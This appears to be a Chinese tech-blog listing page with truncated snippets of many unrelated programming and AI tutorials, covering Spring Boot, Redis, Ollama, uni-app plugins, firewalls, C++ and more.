文章目录 一、介绍二、安装教程1、使用Conda创建虚拟环境2、激活环境3、安装browser use4、安装Playwright5、克隆git仓库6、安装项目的依赖 三、使用教程1、启动WebUI2、案例13、案例2 一、介绍 背景 Browser Use&#xff1a;用AI控制你的浏览器&#xff0c;你可以使用它帮你…...

碰一碰发视频saas系统技术源头一站式开发文档

碰一碰发视频系统技术源头一站式开发文档 一、引言 在数字化信息传播高速发展的当下&#xff0c;如何让视频分享更便捷、高效&#xff0c;成为商家和开发者们关注的焦点。“碰一碰发视频”系统以其独特的交互方式和强大的功能优势&#xff0c;为视频分享领域带来了革命性变革。…...

Spring Boot 静态访问配置属性的解决方案

前言 在Spring Boot开发中&#xff0c;静态访问配置信息是一个常见需求&#xff0c;尤其是在工具类、常量类或非Bean类中直接获取配置值。 问题背景 假设我们的应用需要从application.yml中读取配置项app.logotype&#xff0c;并在工具类、静态方法或非Bean类中直接访问该值。…...

NLP高频面试题(四)——BN和LN的区别与联系,为什么attention要用LN

在深度学习模型中&#xff0c;Normalization是一种极为重要的技巧&#xff0c;Batch Normalization&#xff08;BN&#xff09;和Layer Normalization&#xff08;LN&#xff09;是其中最为常用的两种方法。然而&#xff0c;二者在实际应用中有着明显的区别与联系&#xff0c;尤…...

深度学习定义与分类【详细易懂 初学者友好~】

深度学习&#xff08;Deep Learning&#xff09;是机器学习的一个子领域&#xff0c;它基于人工神经网络&#xff08;Artificial Neural Networks&#xff0c;ANN&#xff09;的理论和架构&#xff0c;通过构建多层&#xff08;即“深度”&#xff09;的神经网络结构来学习数据…...

二、小白学JAVA-认识数据类型【变量】

1、实际案例类比 初中以上数学&#xff0c;就知道有有理数、正数、负数、0、小数、大写的数字、语文。 2、数据类型介绍 public class Main {public static void main(String[] args) {// 数据类型byte i_byte 12; // 标识数据范围小&#xff0c;但是节省内存>网络传输…...

UNI-APP uts插件 支持ANDROID 监听手机状态

插件地址 https://ext.dcloud.net.cn/plugin?id22646 模块 import {startPhoneListener,stopPhoneListener,checkIsAutoRecord,toCallAutoRecorderPage,navigateToCallRecordingSettings,jumpToPermissionPage,makePhoneCall,allRecorderFilesAction,registerSmsReceiver,} f…...

AI入门7:python三种API方式调用本地Ollama+DeepSeek

回顾 书接上篇&#xff1a;各种方式搭建了本地知识库&#xff1a; AI入门&#xff1a;AI模型管家婆ollama的安装和使用-CSDN博客 AI入门2&#xff1a;本地AI部署&#xff0c;用ollama部署deepseek&#xff08;私有化部署&#xff09;-CSDN博客 AI入门3&#xff1a;给本地d…...

SQL SERVER日常运维巡检系列—结构设计

前言   做好日常巡检是数据库管理和维护的重要步骤&#xff0c;而且需要对每次巡检日期、结果进行登记&#xff0c;同时可能需要出一份巡检报告。   本系列旨在解决一些常见的困扰&#xff1a; 不知道巡检哪些东西 不知道怎么样便捷体检 机器太多体检麻烦 生成报告…...

前端剪贴板操作:从传统方法到现代方案

一、传统复制实现原理 这个copy函数展示了经典的剪贴板操作方案&#xff1a; function copy(color) {const input document.createElement("input");input.value color;document.body.appendChild(input);input.select();document.execCommand("copy")…...

E1-数组的平衡点2(前缀和)

题目描述 给定一个长度为 n 的数组 nums&#xff0c;若其中存在某个位置 index&#xff0c;使得 [0, index - 1] 范围的元素之积 等于 [index 1, n - 1] 范围的元素之积&#xff0c;则称 index 位置是数组 nums 的平衡点。 请你找出数组 nums 的平衡点位置&#xff0c;若存在…...

【Maven-plugin】有多少官方插件?

之前疏理了容器底层原理&#xff0c;现在回归主题,在阅读 next-public时发现 parent 将从多基础插件集成到 parent 仓库中单独维护&#xff0c;数量众多&#xff0c;故在此将所有插件分类整理。以达观其全貌&#xff0c;心中有数。 以下是 Apache Maven 官方维护的核心插件列表…...

10-BST(二叉树)-建立二叉搜索树,并进行前中后遍历

题目 来源 3540. 二叉搜索树 - AcWing题库 思路 建立二叉搜索树&#xff08;注意传参时用到了引用&#xff0c;可以直接对root进行修改&#xff09;&#xff0c;同时进行递归遍历&#xff1b;遍历可以分前中后三种写&#xff0c;也可以用标志来代替合在一起。其余详见代码。…...

企业培训APP如何迈向AI时代?智能化在线教育系统源码开发解析

2025年&#xff0c;AI驱动的企业培训系统将成为主流&#xff0c;企业可以借助智能化在线教育系统源码构建高效的培训体系&#xff0c;提高员工学习效率&#xff0c;优化培训成本。本文将详细解析AI如何赋能企业培训&#xff0c;并探讨智能化在线教育系统源码的关键技术与开发实…...

CXSMILES介绍

Chemaxon 扩展 SMILES/SMARTS 用于在 SMILES 字符串后存储分子的特殊特征。任何信息都可以存储在 SMILES 字符串后,只要它们由空格或制表符字符分隔,因为 SMILES 解析器会忽略这些信息,或者将它们作为注释使用。扩展特征以以下格式存储: SMILES_String |<feature1>,…...

麒麟服务器操作系统Sqlite部署手册

软件简介 SQLite****介绍 SQLite是一个进程内的轻量级嵌入式数据库,它的数据库就是一个文件,实现了自给自足、无服务器、零配置的、事务性的SQL数据库引擎。它是一个零配置的数据库,这就体现出来SQLite与其他数据库的最大的区别:SQLite不需要在系统中配置,直接可以使用。…...

【GPT-SoVITS】GPT-SoVITSAPI调用:让二次元角色开口说话,打造专属语音合成系统

介绍 GPT-SoVITS 是一个强大的语音合成系统&#xff0c;它结合了 GPT&#xff08;生成式预训练转换器&#xff09;和 SoVITS&#xff08;Soft-VC VITS&#xff09;两种先进技术&#xff1a; GPT: 负责文本理解和语音生成的控制&#xff0c;能够根据上下文生成自然的语音内容S…...

Deepseek API+Python测试用例一键生成与导出-V1.0.2【实现需求文档图片识别与用例生成自动化】

在测试工作中&#xff0c;需求文档中的图片&#xff08;如界面设计图、流程图&#xff09;往往是测试用例生成的重要参考。然而&#xff0c;手动提取图片并识别内容不仅耗时&#xff0c;还容易出错。本文将通过一个自研小工具&#xff0c;结合 PaddleOCR 和大模型&#xff0c;自…...

防火墙双机热备(主备分担)

目录 引言 主备备份实验 1、基本配置 2、双机热备配置 查看双机热备状态 主备切换 路由影响 引言 传统VRRP方式无法实现主、备用防火墙状态信息和多组VRRP状态的一致性&#xff0c;所以可能会导致流量的回包不从首包通过的防火墙回包&#xff0c;防火墙会因为状态检测机…...

记Redis集群挂掉后,尝试重启集群但失败问题

前期尝试解决&#xff1a;将redis集群中所有redis节点都关闭后&#xff0c;又重新启动服务并且试图用命令建立集群通讯&#xff0c;报错[ERR] Node 192.168.75.128:7001 is not empty. Either the node already knows other nodes (check with CLUSTER NODES) or contains some…...

c++--vector

1.定义vector vector的定义分为四种 (1)vector() ——————无参构造 (2)vector(size_t n,const value_type& val value_type()) ——————构造并初始化n个val (3)vector(const vector& v1) ———————拷贝构造 (4)vector(inputiterator first,inpu…...

计算机视觉——深入理解卷积神经网络与使用卷积神经网络创建图像分类算法

引言 卷积神经网络&#xff08;Convolutional Neural Networks&#xff0c;简称 CNNs&#xff09;是一种深度学习架构&#xff0c;专门用于处理具有网格结构的数据&#xff0c;如图像、视频等。它们在计算机视觉领域取得了巨大成功&#xff0c;成为图像分类、目标检测、图像分…...

c++题目_翻译家

题目描述 grang是一个帅气的翻译家他的任务是把摩斯密码翻译成2进制数&#xff0c;他要上课所以想请你帮他一下&#xff0c;他会给你 一段摩斯密码有“.”和“-”组成让你输出个二进制数。 翻译规则是&#xff1a;不用管-&#xff0c;看每一个.有几个"."组成如果有奇…...

【解析 ECharts 图表样式继承与自定义】

解析 ECharts 图表样式继承与自定义 本文将详细介绍 ECharts 的样式继承机制&#xff0c;从其原理、演进到实际应用场景&#xff0c;并结合实际开发经验分享一些实战技巧&#xff0c;帮助开发者在构建数据可视化页面时实现更统一、灵活的样式管理与高效开发。 一、背景与来龙…...

Python IP解析器 ip2region使用

说明&#xff1a;最近需要在python项目内使用IP定位所在城市的需求&#xff0c;没有采用向外部ISP服务商API请求获取信息的方案&#xff0c;则翻了翻&#xff0c;在搞Java时很多的方案&#xff0c;在Python端反而可选择范围很小。 # 示例查询 ips ["106.38.188.214"…...

Java Stream 流的介绍

介绍 在 Java 8 中&#xff0c;引入了 Stream API&#xff0c;它为处理集合&#xff08;如 List、Set 等&#xff09;提供了一种更简洁、声明式的方式。Stream 流的设计目标是支持对数据集合的高效操作&#xff0c;尤其是能够进行链式操作、并行处理等&#xff0c;极大地提升了…...

C++从入门到入土(八)——多态的原理

目录 前言 多态的原理 动态绑定与静态绑定 虚函数表 小结 前言 在前面的文章中&#xff0c;我们介绍了C三大特性之一的多态&#xff0c;我们主要介绍了多态的构成条件&#xff0c;但是对于多态的原理我们探讨的是不够深入的&#xff0c;下面这这一篇文章&#xff0c;我们将…...

BFS,DFS带图详解+蓝桥杯算法题+经典例题

1.BFS和DFS的定义与实现方式 1.1 深度优先搜索&#xff08;DFS&#xff09; 基本概念&#xff1a;DFS 是一种用于遍历或搜索图或树的算法。它从起始节点开始&#xff0c;沿着一条路径尽可能深地探索下去&#xff0c;直到无法继续或者达到目标节点&#xff0c;然后回溯到上一个…...

【RHCE实验】搭建主从DNS、WEB等服务器

目录 需求 环境搭建 配置nfs服务器 配置web服务器 配置主从dns服务器 主dns服务器 从dns服务器 配置客户端 客户端测试 需求 客户端通过访问 www.nihao.com 后&#xff0c;能够通过 dns 域名解析&#xff0c;访问到 nginx 服务中由 nfs 共享的首页文件&#xff0c;内容…...

有哪些开源的智慧园区项目?

作为专注于数字孪生技术的开发者团队&#xff0c;我们一直在数字孪生圈分享开源项目。但最近一次与AI助手Deepseek的对话&#xff0c;却让我们“又惊又喜”。 ——当询问“有哪些开源的智慧园区项目”时&#xff0c;Deepseek的回答中竟包含了我们自己的开源项目&#xff01; 这…...

prometheusalert对阿里云短信服务不适配问题处理

背景 想通过prometheusalert实现阿里云短信告警。结果在配置完altermanager和prometheusalert&#xff0c;以及阿里云短信服务中的各种签名和短信模板之后&#xff0c;在prometheusalert web ui上测试模板时一直报“模板变量JSON格式错误 或 JSON变量属性与模板占位符不一致”…...

NFC 碰一碰发视频源码搭建,支持OEM

一、引言 NFC&#xff08;Near Field Communication&#xff09;近场通信技术&#xff0c;以其便捷、快速的数据交互特性&#xff0c;正广泛应用于各个领域。其中&#xff0c;NFC 碰一碰发视频这一应用场景&#xff0c;为用户带来了新颖且高效的视频分享体验。想象一下&#x…...

浅谈鸿蒙跨平台开发框架ArkUI-X

之前写过使用uniapp的跨平台开发鸿蒙项目&#xff0c;今天分享一下开发体验更友好的跨平台开发框架ArkUI-X。 ArkUI-X看起来像是鸿蒙官方的框架&#xff0c;在DevEco中就可以安装和使用&#xff0c;而且会ArkUI就可以开发安卓和、iOS和鸿蒙三个平台的app&#xff0c;下面简单介…...

LLVM学习-- 构建和安装

一 LLVM版本 二 适用预构建的二进制文件安装LLVM 三 适用包管理器安装LLVM 四 从源码构建用于Linux的LLVM 五 从源码构建用于Windows和Visual Studio的LLVM 六 从源码构建用于MacOS 和XCode的LLVM 1.1 LLVM项目从10年前第一次发布到版本3.4&#xff0c;其SVN存储库包含了超过20…...

总结Solidity 的数据类型

数据类型 在 Solidity 中&#xff0c;类型系统非常丰富&#xff0c;主要分为 值类型&#xff08;Value Types&#xff09;和 引用类型&#xff08;Reference Types&#xff09;。此外&#xff0c;还有一些特殊类型和全局变量。 一.值类型 布尔型&#xff08;bool&#xff09…...

C# 中泛型(Generics)‌的核心概念

在 C# 中&#xff0c;‌泛型&#xff08;Generics&#xff09;‌ 是一种强大的编程特性&#xff0c;允许你编写可重用、类型安全的代码&#xff0c;而无需为不同类型重复编写相似的逻辑。泛型的核心思想是‌参数化类型‌&#xff0c;即通过占位符&#xff08;如 T&#xff09;表…...

ubuntu 根据src 包从新打包

下边以onnxruntime示例: 1. 安装必要的依赖 确保你的系统已安装 devscripts、dpkg-dev 和 build-essential&#xff1a; sudo apt update sudo apt install devscripts dpkg-dev build-essential equivs2. 解压源码 进入存放源码包的目录&#xff0c;并解压&#xff1a; #c…...

如何启用 HTTPS 并配置免费的 SSL 证书

引言 HTTPS 已成为现代网站安全性的基础要求。通过 SSL/TLS 证书对数据进行加密&#xff0c;不仅可以保护用户隐私&#xff0c;还能提升搜索引擎排名并增强用户信任。本指南将详细介绍如何通过 Lets Encrypt&#xff08;免费、自动化的证书颁发机构&#xff09;为您的网站启用…...

Python数据与变量、进制转换、输入输出函数、基本运算,基础语法编程练习

第一节 数据与变量 程序 数据 指令 1.1 内置基本数据类型 &#xff08;1&#xff09;数值型 整数&#xff08;int&#xff09;&#xff1a;用于表示整数&#xff0c;注意一点Python中int数据可以存储任意大小整数&#xff0c;不会像其他语言&#xff08;C\C Java&#xff0…...

联邦学习(Federated Learning)

1. 概念 联邦学习&#xff08;Federated Learning, FL&#xff09;是一种分布式机器学习技术&#xff0c;它允许多个参与方&#xff08;如设备、机构或企业&#xff09;在不共享原始数据的情况下协同训练机器学习模型。联邦学习通过本地计算模型参数聚合的方式&#xff0c;保护…...

AI大模型核心原理(二)

一、人工智能的兴起。 1、前序。 艾伦麦席森图灵&#xff1b; 是计算机科学之父。 著名英国数学家、计算机科学家、逻辑学家和密码分析学家&#xff0c;被誉为计算机科学与人工智能之父。 阿兰・图灵&#xff08;Alan Turing&#xff09; 是译名&#xff08;简称&#xff09…...